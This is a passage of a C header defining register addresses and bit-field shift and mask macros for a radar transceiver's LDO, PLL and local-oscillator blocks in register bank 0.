#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_TEST_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_BYPASS_EN_SHIFT 3
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_BYPASS_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_VSEL_SHIFT 4
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_VSEL_MASK 0x7
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_LDO_EN_SHIFT 7
#define RADIO_BK0_REFPLL_LDO0_LDO25_XTAL_LDO_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO1 0x13
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_TURBO_SHIFT 0
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_TURBO_MASK 0x1
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_TEST_SEL_SHIFT 1
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_TEST_SEL_MASK 0x1
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_TEST_EN_SHIFT 2
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_TEST_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_BYPASS_EN_SHIFT 3
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_BYPASS_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_VSEL_SHIFT 4
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_VSEL_MASK 0x7
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_LDO_EN_SHIFT 7
#define RADIO_BK0_REFPLL_LDO1_LDO25_PLL_LDO_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO2 0x14
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_TURBO_SHIFT 0
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_TURBO_MASK 0x1
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_TEST_SEL_SHIFT 1
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_TEST_SEL_MASK 0x1
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_TEST_EN_SHIFT 2
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_TEST_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_BYPASS_EN_SHIFT 3
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_BYPASS_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_VSEL_SHIFT 4
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_VSEL_MASK 0x7
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_LDO_EN_SHIFT 7
#define RADIO_BK0_REFPLL_LDO2_LDO11_VCO_LDO_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO3 0x15
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_TURBO_SHIFT 0
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_TURBO_MASK 0x1
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_TEST_SEL_SHIFT 1
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_TEST_SEL_MASK 0x1
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_TEST_EN_SHIFT 2
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_TEST_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_BYPASS_EN_SHIFT 3
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_BYPASS_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_VSEL_SHIFT 4
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_VSEL_MASK 0x7
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_LDO_EN_SHIFT 7
#define RADIO_BK0_REFPLL_LDO3_LDO11_MMD_LDO_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO4 0x16
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_TURBO_SHIFT 0
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_TURBO_MASK 0x1
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_TEST_SEL_SHIFT 1
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_TEST_SEL_MASK 0x1
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_TEST_EN_SHIFT 2
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_TEST_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_BYPASS_EN_SHIFT 3
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_BYPASS_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_VSEL_SHIFT 4
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_VSEL_MASK 0x7
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_LDO_EN_SHIFT 7
#define RADIO_BK0_REFPLL_LDO4_LDO11_MMD2_LDO_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO0 0x17
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_TURBO_SHIFT 0
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_TURBO_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_TEST_SEL_SHIFT 1
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_TEST_SEL_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_TEST_EN_SHIFT 2
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_TEST_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_BYPASS_EN_SHIFT 3
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_BYPASS_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_VOUT_SEL_SHIFT 4
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_VOUT_SEL_MASK 0x7
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_EN_SHIFT 7
#define RADIO_BK0_FMCWPLL_LDO0_LDO25_SPARE_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO1 0x18
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_TURBO_SHIFT 0
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_TURBO_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_TEST_SEL_SHIFT 1
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_TEST_SEL_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_TEST_EN_SHIFT 2
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_TEST_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_BYPASS_EN_SHIFT 3
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_BYPASS_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_VOUT_SEL_SHIFT 4
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_VOUT_SEL_MASK 0x7
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_EN_SHIFT 7
#define RADIO_BK0_FMCWPLL_LDO1_LDO25_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO2 0x19
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_TURBO_SHIFT 0
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_TURBO_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_TEST_SEL_SHIFT 1
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_TEST_SEL_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_TEST_EN_SHIFT 2
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_TEST_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_BYPASS_EN_SHIFT 3
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_BYPASS_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_VOUT_SEL_SHIFT 4
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_VOUT_SEL_MASK 0x7
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_EN_SHIFT 7
#define RADIO_BK0_FMCWPLL_LDO2_LDO11_VCO_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO3 0x1a
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_TURBO_SHIFT 0
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_TURBO_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_TEST_SEL_SHIFT 1
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_TEST_SEL_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_TEST_EN_SHIFT 2
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_TEST_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_BYPASS_EN_SHIFT 3
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_BYPASS_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_VOUT_SEL_SHIFT 4
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_VOUT_SEL_MASK 0x7
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_EN_SHIFT 7
#define RADIO_BK0_FMCWPLL_LDO3_LDO11_MMD_EN_MASK 0x1
#define RADIO_BK0_REFPLL_EN 0x1b
#define RADIO_BK0_REFPLL_EN_XOSC_EN_SHIFT 0
#define RADIO_BK0_REFPLL_EN_XOSC_EN_MASK 0x1
#define RADIO_BK0_REFPLL_EN_XOSC_BUF_EN_SHIFT 1
#define RADIO_BK0_REFPLL_EN_XOSC_BUF_EN_MASK 0x1
#define RADIO_BK0_REFPLL_EN_XOSC_BOOST_EN_SHIFT 2
#define RADIO_BK0_REFPLL_EN_XOSC_BOOST_EN_MASK 0x1
#define RADIO_BK0_REFPLL_EN_CP_EN_SHIFT 3
#define RADIO_BK0_REFPLL_EN_CP_EN_MASK 0x1
#define RADIO_BK0_REFPLL_EN_CP_TURBO_SHIFT 4
#define RADIO_BK0_REFPLL_EN_CP_TURBO_MASK 0x1
#define RADIO_BK0_REFPLL_EN_VCO_EN_SHIFT 5
#define RADIO_BK0_REFPLL_EN_VCO_EN_MASK 0x1
#define RADIO_BK0_REFPLL_EN_DIV_EN_SHIFT 6
#define RADIO_BK0_REFPLL_EN_DIV_EN_MASK 0x1
#define RADIO_BK0_REFPLL_EN_CLK_400M_FMCW_EN_SHIFT 7
#define RADIO_BK0_REFPLL_EN_CLK_400M_FMCW_EN_MASK 0x1
#define RADIO_BK0_REFPLL_VCO 0x1c
#define RADIO_BK0_REFPLL_VCO_REFPLL_VCOCBK_SHIFT 0
#define RADIO_BK0_REFPLL_VCO_REFPLL_VCOCBK_MASK 0xf
#define RADIO_BK0_REFPLL_VCO_REFPLL_VCOCBK2_SHIFT 4
#define RADIO_BK0_REFPLL_VCO_REFPLL_VCOCBK2_MASK 0xf
#define RADIO_BK0_REFPLL_DIV 0x1d
#define RADIO_BK0_REFPLL_DIV_L_SHIFT 0
#define RADIO_BK0_REFPLL_DIV_L_MASK 0x7
#define RADIO_BK0_REFPLL_DIV_H_SHIFT 3
#define RADIO_BK0_REFPLL_DIV_H_MASK 0x7
#define RADIO_BK0_REFPLL_DIV_LDO11_REFPLL_VCO_LP_EN_SHIFT 6
#define RADIO_BK0_REFPLL_DIV_LDO11_REFPLL_VCO_LP_EN_MASK 0x1
#define RADIO_BK0_REFPLL_DIV_LDO11_FMCWPLL_VCO_LP_EN_SHIFT 7
#define RADIO_BK0_REFPLL_DIV_LDO11_FMCWPLL_VCO_LP_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LF 0x1e
#define RADIO_BK0_REFPLL_LF_VCT_TEST_EN_SHIFT 0
#define RADIO_BK0_REFPLL_LF_VCT_TEST_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LF_VCT_TESTL_EN_SHIFT 1
#define RADIO_BK0_REFPLL_LF_VCT_TESTL_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LF_VCT_TESTH_EN_SHIFT 2
#define RADIO_BK0_REFPLL_LF_VCT_TESTH_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LF_DIVH2_SHIFT 3
#define RADIO_BK0_REFPLL_LF_DIVH2_MASK 0x7
#define RADIO_BK0_REFPLL_LF_DIVDIG_EN_SHIFT 6
#define RADIO_BK0_REFPLL_LF_DIVDIG_EN_MASK 0x1
#define RADIO_BK0_REFPLL_LF_DIVCPU_EN_SHIFT 7
#define RADIO_BK0_REFPLL_LF_DIVCPU_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_EN 0x1f
#define RADIO_BK0_FMCWPLL_EN_PFD_DL_DIS_SHIFT 0
#define RADIO_BK0_FMCWPLL_EN_PFD_DL_DIS_MASK 0x1
#define RADIO_BK0_FMCWPLL_EN_CP_EN_SHIFT 1
#define RADIO_BK0_FMCWPLL_EN_CP_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_EN_CP_TURBO_EN_SHIFT 2
#define RADIO_BK0_FMCWPLL_EN_CP_TURBO_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_EN_VCO_EN_SHIFT 3
#define RADIO_BK0_FMCWPLL_EN_VCO_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_EN_4G_EN_SHIFT 4
#define RADIO_BK0_FMCWPLL_EN_4G_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_EN_CMLDIV_EN_SHIFT 5
#define RADIO_BK0_FMCWPLL_EN_CMLDIV_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_EN_TSPCDIV_EN_SHIFT 6
#define RADIO_BK0_FMCWPLL_EN_TSPCDIV_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_EN_CM_EN_SHIFT 7
#define RADIO_BK0_FMCWPLL_EN_CM_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_VCO 0x20
#define RADIO_BK0_FMCWPLL_VCO_FMCWPLL_CBK_SHIFT 0
#define RADIO_BK0_FMCWPLL_VCO_FMCWPLL_CBK_MASK 0xf
#define RADIO_BK0_FMCWPLL_VCO_FMCWPLL_PFD_DL_DIS2_SHIFT 4
#define RADIO_BK0_FMCWPLL_VCO_FMCWPLL_PFD_DL_DIS2_MASK 0x1
#define RADIO_BK0_FMCWPLL_VCO_FMCWPLL_SPARE_SHIFT 5
#define RADIO_BK0_FMCWPLL_VCO_FMCWPLL_SPARE_MASK 0x7
#define RADIO_BK0_FMCWPLL_CML 0x21
#define RADIO_BK0_FMCWPLL_CML_FMCWPLL_CML_IB_SEL_SHIFT 0
#define RADIO_BK0_FMCWPLL_CML_FMCWPLL_CML_IB_SEL_MASK 0xf
#define RADIO_BK0_FMCWPLL_CML_FMCWPLL_SPARE_SHIFT 4
#define RADIO_BK0_FMCWPLL_CML_FMCWPLL_SPARE_MASK 0xf
#define RADIO_BK0_FMCWPLL_TSPC 0x22
#define RADIO_BK0_FMCWPLL_TSPC_FMCWPLL_AMP_IB_SEL_SHIFT 0
#define RADIO_BK0_FMCWPLL_TSPC_FMCWPLL_AMP_IB_SEL_MASK 0xf
#define RADIO_BK0_FMCWPLL_TSPC_FMCWPLL_FMCWDIV_P_SHIFT 4
#define RADIO_BK0_FMCWPLL_TSPC_FMCWPLL_FMCWDIV_P_MASK 0xf
#define RADIO_BK0_FMCWPLL_LF 0x23
#define RADIO_BK0_FMCWPLL_LF_3MBW_EN_SHIFT 0
#define RADIO_BK0_FMCWPLL_LF_3MBW_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LF_VTR_SET_EN_SHIFT 1
#define RADIO_BK0_FMCWPLL_LF_VTR_SET_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LF_VTR_SETH_EN_SHIFT 2
#define RADIO_BK0_FMCWPLL_LF_VTR_SETH_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LF_VTR_SETL_EN_SHIFT 3
#define RADIO_BK0_FMCWPLL_LF_VTR_SETL_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LF_VTR_TEST_EN_SHIFT 4
#define RADIO_BK0_FMCWPLL_LF_VTR_TEST_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LF_VTR_TEST_SW_EN_SHIFT 5
#define RADIO_BK0_FMCWPLL_LF_VTR_TEST_SW_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LF_REFPLL_SPARE_SHIFT 6
#define RADIO_BK0_FMCWPLL_LF_REFPLL_SPARE_MASK 0x3
#define RADIO_BK0_FMCWPLL_LDO4 0x24
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_TURBO_SHIFT 0
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_TURBO_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_TEST_SEL_SHIFT 1
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_TEST_SEL_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_TEST_EN_SHIFT 2
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_TEST_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_BYPASS_EN_SHIFT 3
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_BYPASS_EN_MASK 0x1
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_VOUT_SEL_SHIFT 4
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_VOUT_SEL_MASK 0x7
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_EN_SHIFT 7
#define RADIO_BK0_FMCWPLL_LDO4_LDO11_CM_EN_MASK 0x1
#define RADIO_BK0_PLL_VIO_OUT 0x25
#define RADIO_BK0_PLL_VIO_OUT_FMCWPLL_REF_TEST_EN_SHIFT 0
#define RADIO_BK0_PLL_VIO_OUT_FMCWPLL_REF_TEST_EN_MASK 0x1
#define RADIO_BK0_PLL_VIO_OUT_FMCWPLL_MAIN_DIV_TEST_EN_SHIFT 1
#define RADIO_BK0_PLL_VIO_OUT_FMCWPLL_MAIN_DIV_TEST_EN_MASK 0x1
#define RADIO_BK0_PLL_VIO_OUT_FMCWPLL_FMCWDIV_TEST_EN_SHIFT 2
#define RADIO_BK0_PLL_VIO_OUT_FMCWPLL_FMCWDIV_TEST_EN_MASK 0x1
#define RADIO_BK0_PLL_VIO_OUT_REFPLL_REF_TEST_EN_SHIFT 3
#define RADIO_BK0_PLL_VIO_OUT_REFPLL_REF_TEST_EN_MASK 0x1
#define RADIO_BK0_PLL_VIO_OUT_REFPLL_MAIN_DIV_TEST_EN_SHIFT 4
#define RADIO_BK0_PLL_VIO_OUT_REFPLL_MAIN_DIV_TEST_EN_MASK 0x1
#define RADIO_BK0_PLL_VIO_OUT_REFPLL_REF_OUT_EN_SHIFT 5
#define RADIO_BK0_PLL_VIO_OUT_REFPLL_REF_OUT_EN_MASK 0x1
#define RADIO_BK0_PLL_VIO_OUT_PLL_VIO_EN_SHIFT 6
#define RADIO_BK0_PLL_VIO_OUT_PLL_VIO_EN_MASK 0x1
#define RADIO_BK0_PLL_VIO_OUT_REFPLL_REF_AUX_OUT_EN_SHIFT 7
#define RADIO_BK0_PLL_VIO_OUT_REFPLL_REF_AUX_OUT_EN_MASK 0x1
#define RADIO_BK0_PLL_CLK_OUT 0x26
#define RADIO_BK0_PLL_CLK_OUT_FMCWPLL_LOCKREF_EN_SHIFT 0
#define RADIO_BK0_PLL_CLK_OUT_FMCWPLL_LOCKREF_EN_MASK 0x1
#define RADIO_BK0_PLL_CLK_OUT_FMCWPLL_LOCKDIV_EN_SHIFT 1
#define RADIO_BK0_PLL_CLK_OUT_FMCWPLL_LOCKDIV_EN_MASK 0x1
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_LOCK_REF_EN_SHIFT 2
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_LOCK_REF_EN_MASK 0x1
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_LOCK_DIV_EN_SHIFT 3
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_LOCK_DIV_EN_MASK 0x1
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_SDMADC_CLKSEL_SHIFT 4
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_SDMADC_CLKSEL_MASK 0x1
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_CLK_800M_ADC_EN_SHIFT 5
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_CLK_800M_ADC_EN_MASK 0x1
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_CLK_400M_ADC_EN_SHIFT 6
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_CLK_400M_ADC_EN_MASK 0x1
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_CLK_SPARE_SHIFT 7
#define RADIO_BK0_PLL_CLK_OUT_REFPLL_CLK_SPARE_MASK 0x1
#define RADIO_BK0_LO_LDO0 0x27
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_TURBO_SHIFT 0
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_TURBO_MASK 0x1
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_TEST_SEL_SHIFT 1
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_TEST_SEL_MASK 0x1
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_TEST_EN_SHIFT 2
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_TEST_EN_MASK 0x1
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_BYPASS_EN_SHIFT 3
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_BYPASS_EN_MASK 0x1
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_VOUT_SEL_SHIFT 4
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_VOUT_SEL_MASK 0x7
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_EN_SHIFT 7
#define RADIO_BK0_LO_LDO0_LDO11_LOMAINPATH_EN_MASK 0x1
#define RADIO_BK0_LO_LDO1 0x28
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_TURBO_SHIFT 0
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_TURBO_MASK 0x1
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_TEST_SEL_SHIFT 1
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_TEST_SEL_MASK 0x1
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_TEST_EN_SHIFT 2
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_TEST_EN_MASK 0x1
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_BYPASS_EN_SHIFT 3
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_BYPASS_EN_MASK 0x1
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_VOUT_SEL_SHIFT 4
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_VOUT_SEL_MASK 0x7
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_EN_SHIFT 7
#define RADIO_BK0_LO_LDO1_LDO11_LOMUXIO_EN_MASK 0x1
#define RADIO_BK0_LO_LDO2 0x29
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_TURBO_SHIFT 0
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_TURBO_MASK 0x1
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_TEST_SEL_SHIFT 1
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_TEST_SEL_MASK 0x1
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_TEST_EN_SHIFT 2
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_TEST_EN_MASK 0x1
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_BYPASS_EN_SHIFT 3
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_BYPASS_EN_MASK 0x1
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_VOUT_SEL_SHIFT 4
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_VOUT_SEL_MASK 0x7
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_EN_SHIFT 7
#define RADIO_BK0_LO_LDO2_LDO11_TXLO_EN_MASK 0x1
#define RADIO_BK0_LO_LDO3 0x2a
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_TURBO_SHIFT 0
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_TURBO_MASK 0x1
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_TEST_SEL_SHIFT 1
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_TEST_SEL_MASK 0x1
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_TEST_EN_SHIFT 2
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_TEST_EN_MASK 0x1
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_BYPASS_EN_SHIFT 3
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_BYPASS_EN_MASK 0x1
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_VOUT_SEL_SHIFT 4
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_VOUT_SEL_MASK 0x7
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_EN_SHIFT 7
#define RADIO_BK0_LO_LDO3_LDO11_RXLO_EN_MASK 0x1
#define RADIO_BK0_LO_EN0 0x2b
#define RADIO_BK0_LO_EN0_VCOBUFF1_EN_SHIFT 0
#define RADIO_BK0_LO_EN0_VCOBUFF1_EN_MASK 0x1
#define RADIO_BK0_LO_EN0_VCOBUFF2_EN_SHIFT 1
#define RADIO_BK0_LO_EN0_VCOBUFF2_EN_MASK 0x1
#define RADIO_BK0_LO_EN0_LODR_EN_SHIFT 2
#define RADIO_BK0_LO_EN0_LODR_EN_MASK 0x1
#define RADIO_BK0_LO_EN0_DBL1_EN_SHIFT 3
#define RADIO_BK0_LO_EN0_DBL1_EN_MASK 0x1
#define RADIO_BK0_LO_EN0_DBL2_EN_SHIFT 4
#define RADIO_BK0_LO_EN0_DBL2_EN_MASK 0x1
#define RADIO_BK0_LO_EN0_LO_RXDR_STG1_EN_SHIFT 5
#define RADIO_BK0_LO_EN0_LO_RXDR_STG1_EN_MASK 0x1
#define RADIO_BK0_LO_EN0_LO_RXDR_STG2_EN_SHIFT 6
#define RADIO_BK0_LO_EN0_LO_RXDR_STG2_EN_MASK 0x1
#define RADIO_BK0_LO_EN0_LO_RXDR_STG3_EN_SHIFT 7
#define RADIO_BK0_LO_EN0_LO_RXDR_STG3_EN_MASK 0x1
#define RADIO_BK0_LO_EN1 0x2c
#define RADIO_BK0_LO_EN1_LO2_TXDR_STG1_EN_SHIFT 0
#define RADIO_BK0_LO_EN1_LO2_TXDR_STG1_EN_MASK 0x1
#define RADIO_BK0_LO_EN1_LO2_TXDR_STG2_EN_SHIFT 1
#define RADIO_BK0_LO_EN1_LO2_TXDR_STG2_EN_MASK 0x1
#define RADIO_BK0_LO_EN1_LO2_TXDR_STG3_EN_SHIFT 2
#define RADIO_BK0_LO_EN1_LO2_TXDR_STG3_EN_MASK 0x1
#define RADIO_BK0_LO_EN1_LO1_TXDR_STG1_EN_SHIFT 3
#define RADIO_BK0_LO_EN1_LO1_TXDR_STG1_EN_MASK 0x1
#define RADIO_BK0_LO_EN1_LO1_TXDR_STG2_EN_SHIFT 4
#define RADIO_BK0_LO_EN1_LO1_TXDR_STG2_EN_MASK 0x1
#define RADIO_BK0_LO_EN1_LO1_TXDR_STG3_EN_SHIFT 5
#define RADIO_BK0_LO_EN1_LO1_TXDR_STG3_EN_MASK 0x1
#define RADIO_BK0_LO_EN1_LO_VTUNE_VAR_EN_SHIFT 6
#define RADIO_BK0_LO_EN1_LO_VTUNE_VAR_EN_MASK 0x1
#define RADIO_BK0_LO_EN1_TXLOBUFF_PDT_CALGEN_EN_SHIFT 7
#define RADIO_BK0_LO_EN1_TXLOBUFF_PDT_CALGEN_EN_MASK 0x1
#define RADIO_BK0_LO_EN2 0x2d
#define RADIO_BK0_LO_EN2_LOMUXIN_STG1_EN_SHIFT 0
#define RADIO_BK0_LO_EN2_LOMUXIN_STG1_EN_MASK 0x1
#define RADIO_BK0_LO_EN2_LOMUXIN_STG2_EN_SHIFT 1
#define RADIO_BK0_LO_EN2_LOMUXIN_STG2_EN_MASK 0x1
#define RADIO_BK0_LO_EN2_LOMUXIN_STG3_EN_SHIFT 2
#define RADIO_BK0_LO_EN2_LOMUXIN_STG3_EN_MASK 0x1
#define RADIO_BK0_LO_EN2_LOMUXIN_STG4_EN_SHIFT 3
#define RADIO_BK0_LO_EN2_LOMUXIN_STG4_EN_MASK 0x1
#define RADIO_BK0_LO_EN2_LOMUXIN_PREAMP_STG1_EN_SHIFT 4
#define RADIO_BK0_LO_EN2_LOMUXIN_PREAMP_STG1_EN_MASK 0x1
#define RADIO_BK0_LO_EN2_LOMUXIN_PREAMP_STG2_EN_SHIFT 5
